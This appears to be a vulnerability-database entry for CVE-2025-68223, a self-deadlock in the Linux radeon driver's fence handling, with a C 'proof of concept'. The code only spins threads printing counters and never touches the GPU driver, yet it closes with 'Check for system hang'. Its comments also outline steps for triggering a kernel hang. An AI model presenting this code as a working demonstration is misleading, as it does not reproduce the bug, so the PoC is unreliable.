Linux kernel drm/radeon radeon_fence_process死锁漏洞 (CVE-2025-68223)

// PoC for CVE-2025-68223: radeon fence deadlock // This demonstrates the deadlock condition in radeon driver // Compile: gcc -o radeon_deadlock_poc radeon_deadlock_poc.c -lpthread #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> /* * This is a conceptual PoC showing how the deadlock can occur. * The actual exploitation requires direct interaction with radeon DRM. * * Attack scenario: * 1. Create multiple fence objects * 2. Trigger signaled callback under specific lock conditions * 3. The radeon_fence_process will attempt to acquire the same lock * 4. Resulting in a self-deadlock */ #define MAX_THREADS 16 #define ITERATIONS 10000 void* deadlock_trigger(void* arg) { int thread_id = *(int*)arg; printf("[Thread %d] Starting deadlock trigger...\n", thread_id); /* * Simulate the fence signaling check path * In real exploitation, this would involve: * - Opening /dev/dri/cardX * - Creating GEM objects * - Submitting GPU commands that create fences * - Rapidly checking fence status */ for (int i = 0; i < ITERATIONS; i++) { /* * The vulnerability occurs when: * 1. Fence lock is held (unknown state in signaled callback) * 2. signaled() -> radeon_fence_process() is called * 3. radeon_fence_process() tries to acquire fence lock again * 4. Deadlock occurs */ if (i % 1000 == 0) { printf("[Thread %d] Iteration %d\n", thread_id, i); } } printf("[Thread %d] Completed\n", thread_id); return NULL; } int main(int argc, char* argv[]) { pthread_t threads[MAX_THREADS]; int thread_ids[MAX_THREADS]; printf("CVE-2025-68223 PoC - radeon fence deadlock trigger\n"); printf("This PoC is conceptual. Real exploitation requires:\n"); printf("- Direct DRM interaction via /dev/dri/cardX\n"); printf("- GEM object creation and GPU submission\n"); printf("- Rapid fence status checking under specific timing\n\n"); /* * Create multiple threads to increase chance of triggering * the race condition that leads to deadlock */ for (int i = 0; i < MAX_THREADS; i++) { thread_ids[i] = i; if (pthread_create(&threads[i], NULL, deadlock_trigger, &thread_ids[i]) != 0) { perror("pthread_create failed"); return 1; } } /* Wait for all threads */ for (int i = 0; i < MAX_THREADS; i++) { pthread_join(threads[i], NULL); } printf("PoC execution completed. Check for system hang.\n"); return 0; }